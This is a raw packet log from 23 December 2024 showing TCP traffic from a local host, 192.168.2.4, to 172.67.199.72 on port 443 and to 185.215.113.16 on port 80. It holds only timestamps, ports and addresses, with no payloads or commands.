Dec 23, 2024 08:07:52.005567074 CET	49737	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:52.005587101 CET	443	49737	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:52.072844028 CET	49742	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:52.072896957 CET	443	49742	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:52.072979927 CET	49742	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:52.073379993 CET	49742	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:52.073395967 CET	443	49742	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:53.286268950 CET	443	49742	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:53.286360025 CET	49742	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:53.287570000 CET	49742	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:53.287578106 CET	443	49742	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:53.287904978 CET	443	49742	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:53.298218012 CET	49742	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:53.298242092 CET	49742	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:53.298310041 CET	443	49742	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:54.041745901 CET	443	49742	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:54.041868925 CET	443	49742	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:54.041970968 CET	49742	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:54.042121887 CET	49742	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:54.042138100 CET	443	49742	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:54.042155027 CET	49742	443	192.168.2.4	172.67.199.72
Dec 23, 2024 08:07:54.042161942 CET	443	49742	172.67.199.72	192.168.2.4
Dec 23, 2024 08:07:54.043926954 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:54.163497925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:54.163775921 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:54.163947105 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:54.283440113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.504442930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.504492044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.504520893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.504570007 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:55.504627943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.504698038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.504698992 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:55.504712105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.504724979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.504745960 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:55.505001068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.505013943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.505027056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.505049944 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:55.505080938 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:55.624178886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.624252081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.624358892 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:55.696398973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.696429968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.696512938 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:55.698846102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.698956013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.699287891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:55.707259893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.707309961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.707375050 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:55.715656042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.715764046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.715833902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:55.724045038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.724164009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.724241018 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:55.732464075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.732583046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.732675076 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:55.740817070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.740921021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.740982056 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:55.749249935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.749291897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.749365091 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:55.757605076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.757726908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.757792950 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:55.765990973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.766079903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.766165018 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:55.774384022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.774487019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.774575949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:55.816029072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.865041018 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:55.888847113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.889077902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.889178038 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:55.891350031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.891465902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.891525030 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:55.896317005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.896442890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.896518946 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:55.901304007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.901407957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.901474953 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:55.906246901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.906337976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.906398058 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:55.911071062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.911091089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.911175013 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:55.915810108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.915909052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.915982008 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:55.920593023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.920717955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.920797110 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:55.925389051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.925502062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.925579071 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:55.930150032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.930273056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.930349112 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:55.934984922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.935069084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.935137033 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:55.939726114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.939809084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.939877033 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:55.944505930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.944616079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.944681883 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:55.949301004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.949388981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.949456930 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:55.954072952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.954171896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:55.954246044 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:55.958832979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.006663084 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.081167936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.081245899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.081326008 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.083112001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.083209038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.083271027 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.087201118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.087294102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.091237068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.091275930 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.091341019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.091382027 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.095271111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.095377922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.095441103 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.099320889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.099428892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.099479914 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.103396893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.103499889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.103559971 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.107475042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.107599974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.107770920 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.111532927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.111624956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.111665010 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.115699053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.115813017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.115875959 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.119678974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.119699001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.119752884 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.123681068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.123806000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.123864889 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.127737999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.127841949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.127893925 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.131800890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.131908894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.131990910 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.135868073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.135950089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.135994911 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.139918089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.139974117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.140034914 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.143971920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.144061089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.144124985 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.148010969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.148132086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.148180008 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.152075052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.152190924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.152242899 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.156152010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.156275988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.156328917 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.160226107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.160343885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.160391092 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.164313078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.164429903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.164505959 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.168307066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.168431997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.168520927 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.172373056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.172512054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.172570944 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.176448107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.176498890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.176557064 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.273307085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.273428917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.273514032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.275060892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.275161982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.275227070 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.278611898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.278700113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.278753042 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.282191038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.282290936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.282337904 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.285737038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.285832882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.285883904 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.289165020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.289278030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.289385080 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.292526960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.292666912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.292731047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.295818090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.295911074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.295958042 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.299051046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.299084902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.299143076 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.302124977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.302211046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.302287102 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.305624008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.305731058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.305779934 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.308275938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.308382034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.308425903 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.311310053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.311438084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.311492920 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.314393997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.314465046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.314518929 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.317401886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.317506075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.317590952 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.320458889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.320576906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.320630074 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.323523998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.323618889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.323662996 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.326524973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.326622963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.326674938 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.329564095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.329642057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.329688072 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.332648993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.332743883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.332814932 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.335664034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.335777044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.335820913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.338720083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.338840961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.338896990 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.341811895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.341928005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.342004061 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.344890118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.345002890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.345062971 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.347886086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.347944021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.348002911 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.350934029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.350989103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.351031065 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.353961945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.354073048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.354119062 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.357007027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.357109070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.357203007 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.360073090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.360125065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.360167027 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.363089085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.363202095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.363253117 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.366142035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.366250992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.366305113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.369179964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.369290113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.369342089 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.372226000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.372267008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.372313023 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.375277042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.375391006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.375448942 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.378354073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.378443956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.378485918 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.381371975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.381491899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.381548882 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.384394884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.384509087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.384551048 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.387492895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.387594938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.387661934 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.390501022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.390614033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.390661955 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.393527985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.393634081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.393691063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.396724939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.396743059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.396809101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.399616003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.443156958 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.465589046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.465702057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.465785027 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.466810942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.466959000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.467274904 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.469217062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.469326019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.469461918 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.471671104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.471798897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.472104073 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.474162102 CET	80	49744	185.215.113.16	192.168.2.4
